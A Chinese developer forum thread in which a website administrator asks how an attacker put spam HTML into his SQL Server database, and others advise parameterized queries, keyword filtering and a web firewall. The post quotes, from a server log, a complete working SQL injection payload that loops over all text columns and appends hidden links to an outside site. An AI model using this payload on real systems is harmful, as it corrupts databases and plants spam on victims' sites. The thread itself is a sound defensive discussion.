数据库遭攻击,求救!!1

chenhankkk 2015-08-29 11:43:44
网站采用。net三层架构,sql操作都有采用防止sql注入式攻击,这两天发现数据库中某个表的字段莫名出现一连串html代码,查询服务器应用程序日志发现如下警告,这是我们的一个新闻展示页,对方用如此方式是如何攻击的,我该怎么做,才能阻止他攻击啊?

http://www.xxxxxxxx.com/Manage/WebManage/OrderNewDetail.aspx?ContentID=532;
declare @c cursor;
declare @d varchar(4000);
set @c=cursor for select
'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']
=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7 when 0 then ''''+char(60)+
''div style="display:none"''+char(62)+''abortion clinics in ny ''+char(60)+
''a href="http:''+char(47)+char(47)+''astrobix.com''+char(47)+''astroblog''+
char(47)+''page''+char(47)+''how-to-end-pregnancy.aspx"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''
pregnancy nine weeks'' when 1 then ''abortion pills over the counter'' else ''are abortions painful'' END
+char(60)+char(47)+''a''+char(62)+'' carly fiorina abortion''+char(60)+char(47)+''div''+char(62)+'''' else '''' end'
FROM sysindexes AS i

SELECT TOP 1 * FROM sysindexes
INNER JOIN sysobjects AS o ON i.id=o.id
INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME
WHERE(indid=0 or indid=1) and DATA_TYPE
like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);
open @c;
fetch next from @c into @d;
while @@FETCH_STATUS=0
begin exec (@d);
fetch next from @c into @d;
end;
close @c
...全文
149 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
chenhankkk 2015-09-02
  • 打赏
  • 举报
回复
最后是在iis上过滤url来解决了
chenhankkk 2015-08-29
  • 打赏
  • 举报
回复
引用 1 楼 chenbin_90 的回复:
解决办法: 1、过虑sql语句中参数的特殊字符,比如sql中的关键词select/update/delete/等…… 2、程序中以下面这种方式调用sql参数:

SqlParameter[] parameters = {
					new SqlParameter("@CID", SqlDbType.Int,4),
					new SqlParameter("@AdTitle", SqlDbType.NVarChar,200),
					new SqlParameter("@PostDate", SqlDbType.DateTime)};
            parameters[0].Value = model.CID;
            parameters[1].Value = model.AdTitle;
            parameters[2].Value = model.PostDate;
系统比较大,内容较多,一个个改要很长时间,有没有什么快速解决方案,
仰望那天空 2015-08-29
  • 打赏
  • 举报
回复
解决办法: 1、过虑sql语句中参数的特殊字符,比如sql中的关键词select/update/delete/等…… 2、程序中以下面这种方式调用sql参数:

SqlParameter[] parameters = {
					new SqlParameter("@CID", SqlDbType.Int,4),
					new SqlParameter("@AdTitle", SqlDbType.NVarChar,200),
					new SqlParameter("@PostDate", SqlDbType.DateTime)};
            parameters[0].Value = model.CID;
            parameters[1].Value = model.AdTitle;
            parameters[2].Value = model.PostDate;
薛定谔的DBA 2015-08-29
  • 打赏
  • 举报
回复
确定是攻击吗? 表中字段 用户是不是可以插入的?如果可以,也行是用户把HTML保存到里面的
仰望那天空 2015-08-29
  • 打赏
  • 举报
回复
那你就下载个软件安装到服务器上去吧。 以前我用过一个好像是叫 网站安全狗,可以设置sql注入防御。

22,206

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 疑难问题
社区管理员
  • 疑难问题社区
  • 尘觉
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧